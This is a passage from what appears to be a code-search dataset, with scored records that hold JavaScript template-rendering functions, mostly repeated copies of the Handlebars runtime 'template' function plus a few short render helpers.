templateSpec.compat }, env);\n result = partials[name](context, options);\n }\n if (result != null) {\n if (indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths) {\n programWrapper = program(this, i, fn, data, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n ret._child = function(i, data, depths) {\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, depths);\n };\n return ret;\n }", "title": "" }, { "docid": "909333c5ceafd00f1d8acae374fd6c39", "score": "0.5705088", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, indent, name, context, hash, helpers, partials, data, depths) {\n if (hash) {\n context = Utils.extend({}, context, hash);\n }\n\n var result = env.VM.invokePartial.call(this, partial, name, context, helpers, partials, data, depths);\n\n if (result == null && env.compile) {\n var options = { helpers: helpers, partials: partials, data: data, depths: depths };\n partials[name] = env.compile(partial, { data: data !== undefined, compat: templateSpec.compat }, env);\n result = partials[name](context, options);\n }\n if (result != null) {\n if (indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths) {\n programWrapper = program(this, i, fn, data, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n ret._child = function(i, data, depths) {\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, depths);\n };\n return ret;\n }", "title": "" }, { "docid": "909333c5ceafd00f1d8acae374fd6c39", "score": "0.5705088", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, indent, name, context, hash, helpers, partials, data, depths) {\n if (hash) {\n context = Utils.extend({}, context, hash);\n }\n\n var result = env.VM.invokePartial.call(this, partial, name, context, helpers, partials, data, depths);\n\n if (result == null && env.compile) {\n var options = { helpers: helpers, partials: partials, data: data, depths: depths };\n partials[name] = env.compile(partial, { data: data !== undefined, compat: templateSpec.compat }, env);\n result = partials[name](context, options);\n }\n if (result != null) {\n if (indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths) {\n programWrapper = program(this, i, fn, data, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n ret._child = function(i, data, depths) {\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, depths);\n };\n return ret;\n }", "title": "" }, { "docid": "909333c5ceafd00f1d8acae374fd6c39", "score": "0.5705088", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, indent, name, context, hash, helpers, partials, data, depths) {\n if (hash) {\n context = Utils.extend({}, context, hash);\n }\n\n var result = env.VM.invokePartial.call(this, partial, name, context, helpers, partials, data, depths);\n\n if (result == null && env.compile) {\n var options = { helpers: helpers, partials: partials, data: data, depths: depths };\n partials[name] = env.compile(partial, { data: data !== undefined, compat: templateSpec.compat }, env);\n result = partials[name](context, options);\n }\n if (result != null) {\n if (indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths) {\n programWrapper = program(this, i, fn, data, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n ret._child = function(i, data, depths) {\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, depths);\n };\n return ret;\n }", "title": "" }, { "docid": "aa8233866023cc3788daf19fab6fee15", "score": "0.57014465", "text": "function renderTemplates() {\n var templatesFolder = 'html/templates/'\n var toLoad = {\n footer: {\n url: templatesFolder + 'footer.htm',\n selector: '#footer'\n },\n header:{\n url: templatesFolder + 'header.htm',\n selector: '#headerContainer'\n },\n /* breadcrumbs:{\n url: templatesFolder + 'breadcrumbs.htm',\n selector: '#breadcrumbs'\n },*/\n }\n\n $.each(toLoad, loadPartials)\n}", "title": "" }, { "docid": "6bade1012aeed9fb889485985fceb340", "score": "0.56895465", "text": "function VinylTemplate() {}", "title": "" }, { "docid": "043d01f0368a863f849ebf7bf620581b", "score": "0.56786895", "text": "function renderEmbeddedTemplate(viewNode, tView, context, rf) {\n var _isParent = isParent;\n var _previousOrParentNode = previousOrParentNode;\n var oldView;\n if (viewNode.data[PARENT] == null && viewNode.data[CONTEXT] && !tView.template) {\n // This is a root view inside the view tree\n tickRootContext(viewNode.data[CONTEXT]);\n }\n else {\n try {\n isParent = true;\n previousOrParentNode = null;\n oldView = enterView(viewNode.data, viewNode);\n namespaceHTML();\n tView.template(rf, context);\n if (rf & 2 /* Update */) {\n refreshView();\n }\n else {\n viewNode.data[TVIEW].firstTemplatePass = firstTemplatePass = false;\n }\n }\n finally {\n // renderEmbeddedTemplate() is called twice in fact, once for creation only and then once for\n // update. When for creation only, leaveView() must not trigger view hooks, nor clean flags.\n var isCreationOnly = (rf & 1 /* Create */) === 1 /* Create */;\n leaveView(oldView, isCreationOnly);\n isParent = _isParent;\n previousOrParentNode = _previousOrParentNode;\n }\n }\n return viewNode;\n}", "title": "" }, { "docid": "ba724a8d075ee0080c222073e0fd77d1", "score": "0.5671945", "text": "_renderTemplate(path, context) {\n return swig.compileFile(path)(context)\n }", "title": "" }, { "docid": "d661e222dc7a1a1de51a69dcd704dcb9", "score": "0.56484026", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, indent, name, context, hash, helpers, partials, data, depths) {\n if (hash) {\n context = Utils.extend({}, context, hash);\n }\n\n var result = env.VM.invokePartial.call(this, partial, name, context, helpers, partials, data, depths);\n\n if (result == null && env.compile) {\n var options = { helpers: helpers, partials: partials, data: data, depths: depths };\n partials[name] = env.compile(partial, { data: data !== undefined, compat: templateSpec.compat }, env);\n result = partials[name](context, options);\n }\n if (result != null) {\n if (indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths) {\n programWrapper = program(this, i, fn, data, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n ret._child = function(i, data, depths) {\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, depths);\n };\n return ret;\n}", "title": "" }, { "docid": "d661e222dc7a1a1de51a69dcd704dcb9", "score": "0.56484026", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, indent, name, context, hash, helpers, partials, data, depths) {\n if (hash) {\n context = Utils.extend({}, context, hash);\n }\n\n var result = env.VM.invokePartial.call(this, partial, name, context, helpers, partials, data, depths);\n\n if (result == null && env.compile) {\n var options = { helpers: helpers, partials: partials, data: data, depths: depths };\n partials[name] = env.compile(partial, { data: data !== undefined, compat: templateSpec.compat }, env);\n result = partials[name](context, options);\n }\n if (result != null) {\n if (indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths) {\n programWrapper = program(this, i, fn, data, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n ret._child = function(i, data, depths) {\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, depths);\n };\n return ret;\n}", "title": "" }, { "docid": "d661e222dc7a1a1de51a69dcd704dcb9", "score": "0.56484026", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, indent, name, context, hash, helpers, partials, data, depths) {\n if (hash) {\n context = Utils.extend({}, context, hash);\n }\n\n var result = env.VM.invokePartial.call(this, partial, name, context, helpers, partials, data, depths);\n\n if (result == null && env.compile) {\n var options = { helpers: helpers, partials: partials, data: data, depths: depths };\n partials[name] = env.compile(partial, { data: data !== undefined, compat: templateSpec.compat }, env);\n result = partials[name](context, options);\n }\n if (result != null) {\n if (indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths) {\n programWrapper = program(this, i, fn, data, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n ret._child = function(i, data, depths) {\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, depths);\n };\n return ret;\n}", "title": "" }, { "docid": "a6f80af0abe7a322b292d851743927df", "score": "0.5625161", "text": "render(templateName, context = {}, cb) {\n if (!cb) {\n return this._renderPromise(templateName, context)\n } else {\n this._renderPromise(templateName, context)\n .then(({ html, text, subject }) => cb(null, html, text, subject))\n .catch((err) => {\n cb(err)\n })\n }\n }", "title": "" }, { "docid": "b0e6596e5ab18c72a7573a0c796aee39", "score": "0.5614873", "text": "function render_with_layout (filename, template, locals, cb) {\n render_file(locals, function(err, str) {\n if (err) {\n return cb(err);\n }\n\n locals.body = str;\n\n try {\n var res = template(locals, handlebarsOpts)\n self.async.done(function (values) {\n Object.keys(values).forEach(function (id) {\n res = res.replace(id, values[id])\n })\n\n cb(null, res)\n })\n } catch (err) {\n cb(prependFilenameToError(filename, err))\n }\n });\n }", "title": "" }, { "docid": "b0e6596e5ab18c72a7573a0c796aee39", "score": "0.5614873", "text": "function render_with_layout (filename, template, locals, cb) {\n render_file(locals, function(err, str) {\n if (err) {\n return cb(err);\n }\n\n locals.body = str;\n\n try {\n var res = template(locals, handlebarsOpts)\n self.async.done(function (values) {\n Object.keys(values).forEach(function (id) {\n res = res.replace(id, values[id])\n })\n\n cb(null, res)\n })\n } catch (err) {\n cb(prependFilenameToError(filename, err))\n }\n });\n }", "title": "" }, { "docid": "1494dc9fc27dba0af23c868a016348d6", "score": "0.5604278", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, context, options) {\n if (options.hash) {\n context = Utils.extend({}, context, options.hash);\n }\n\n partial = env.VM.resolvePartial.call(this, partial, context, options);\n var result = env.VM.invokePartial.call(this, partial, context, options);\n\n if (result == null && env.compile) {\n options.partials[options.name] = env.compile(partial, templateSpec.compilerOptions, env);\n result = options.partials[options.name](context, options);\n }\n if (result != null) {\n if (options.indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = options.indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + options.name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n strict: function(obj, name) {\n if (!(name in obj)) {\n throw new Exception('\"' + name + '\" not defined in ' + obj);\n }\n return obj[name];\n },\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, declaredBlockParams, blockParams, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths || blockParams || declaredBlockParams) {\n programWrapper = program(this, i, fn, data, declaredBlockParams, blockParams, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths,\n blockParams = templateSpec.useBlockParams ? [] : undefined;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, blockParams, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n ret._child = function(i, data, blockParams, depths) {\n if (templateSpec.useBlockParams && !blockParams) {\n throw new Exception('must pass block params');\n }\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, 0, blockParams, depths);\n };\n return ret;\n}", "title": "" }, { "docid": "1494dc9fc27dba0af23c868a016348d6", "score": "0.5604278", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, context, options) {\n if (options.hash) {\n context = Utils.extend({}, context, options.hash);\n }\n\n partial = env.VM.resolvePartial.call(this, partial, context, options);\n var result = env.VM.invokePartial.call(this, partial, context, options);\n\n if (result == null && env.compile) {\n options.partials[options.name] = env.compile(partial, templateSpec.compilerOptions, env);\n result = options.partials[options.name](context, options);\n }\n if (result != null) {\n if (options.indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = options.indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + options.name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n strict: function(obj, name) {\n if (!(name in obj)) {\n throw new Exception('\"' + name + '\" not defined in ' + obj);\n }\n return obj[name];\n },\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, declaredBlockParams, blockParams, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths || blockParams || declaredBlockParams) {\n programWrapper = program(this, i, fn, data, declaredBlockParams, blockParams, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths,\n blockParams = templateSpec.useBlockParams ? [] : undefined;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, blockParams, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n 